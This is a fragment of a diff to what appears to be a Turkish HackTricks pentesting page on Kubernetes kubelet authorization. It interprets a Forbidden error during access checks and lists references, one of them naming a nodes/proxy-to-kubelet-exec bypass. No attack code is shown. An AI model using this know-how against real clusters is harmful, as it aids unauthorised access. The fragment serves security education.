**subresource**'un **proxy** olduğunu kontrol edin (bu, önceki bilgilerle mantıklı). +- Bir **Forbidden** aldık, bu yüzden istek **Authentication kontrolünü geçti**. Geçmeseydi sadece bir `Unauthorised` mesajı alırdık. +- **username** değerini görebiliyoruz (bu durumda token’dan) +- **resource**’un nasıl **nodes** ve **subresource**’un **proxy** olduğunu kontrol et (bu, önceki bilgiyle uyumlu) -## Referanslar +## References - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/) - [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}